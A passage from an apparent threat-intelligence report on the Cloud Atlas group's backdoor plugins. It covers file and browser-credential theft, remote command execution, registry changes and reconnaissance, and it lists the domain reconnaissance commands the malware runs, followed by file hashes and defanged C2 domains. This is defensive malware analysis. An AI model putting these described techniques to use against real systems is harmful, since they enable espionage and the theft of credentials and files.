• Stealing files from all local disks
• Stealing files from the specified removable media
• Stealing files from specified folders
• Using the selected username and password from the command block to mount network resources and then steal files from them

For each detected file, a series of rules are generated based on the conditions passed within the command block, including:

• Checking for minimum and maximum file size
• Checking the file’s last modification time
• Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
• Checking the file name or extension against a list of patterns

If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.

CloudAtlas::Plugin (Common)

This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.

1. Command ID 0: Creates, sets and closes named events.
2. Command ID 1: Deletes the selected list of files.
3. Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
4. Command ID 3: Capable of performing several operations together or independently, including:
   1. Dropping several files on disk with content and paths selected in the command block arguments
   2. Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
   • Using the WinExec function
   • Using the ShellExecuteW function
   • Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
5. Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
6. Command ID 5: Calls the ExitProcess function.
7. Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.

CloudAtlas::Plugin (PasswordStealer)

This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.

CloudAtlas::Plugin (InfoCollector)

This plugin is used to collect information about the infected system. The list of commands is presented below.

1. Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
2. Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
3. Command ID 0xFFFFFFF2: Collects information about installed products.
4. Command ID 0xFFFFFFF3: Collects device information.
5. Command ID 0xFFFFFFF4: Collects information about logical drives.
6. Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:

net group "Exchange servers" /domain
Ipconfig
arp -a

Python script

As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.

During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".

The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.

Victims

According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.

Conclusion

For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.

Indicators of compromise

Note: The indicators in this section are valid at the time of publication.

File hashes

0D309C25A835BAF3B0C392AC87504D9E    протокол (08.05.2025).doc
D34AAEB811787B52EC45122EC10AEB08    HTA
4F7C5088BCDF388C49F9CAAD2CCCDCC5    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145cfcf.vbs
5C93AF19EF930352A251B5E1B2AC2519    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145.dat (encrypted)
0E13FA3F06607B1392A3C3CAA8092C98    VBShower::Payload(1)
BC80C582D21AC9E98CBCA2F0637D8993    VBShower::Payload(2)
12F1F060DF0C1916E6D5D154AF925426    VBShower::Payload(3)
E8C21CA9A5B721F5B0AB7C87294A2D72    VBShower::Payload(4)
2D03F1646971FB7921E31B647586D3FB    VBShower::Payload(5)
7A85873661B50EA914E12F0523527CFA    VBShower::Payload(6)
F31CE101CBE25ACDE328A8C326B9444A    VBShower::Payload(7)
E2F3E5BF7EFBA58A9C371E2064DFD0BB    VBShower::Payload(8)
67156D9D0784245AF0CAE297FC458AAC    VBShower::Payload(9)
116E5132E30273DA7108F23A622646FE    VBCloud::Launcher
E9F60941A7CED1A91643AF9D8B92A36D    VBCloud::Payload(FileGrabber)
718B9E688AF49C2E1984CF6472B23805    PowerShower
A913EF515F5DC8224FCFFA33027EB0DD    PowerShower::Payload(2)
BAA59BB050A12DBDF981193D88079232    chambranle (encrypted)

Domains and IPs

billet-ru[.]net
mskreg[.]net
flashsupport[.]org
solid-logit[.]com
cityru-travel[.]org
transferpolicy[.]org
information-model[.]net
securemodem[.]com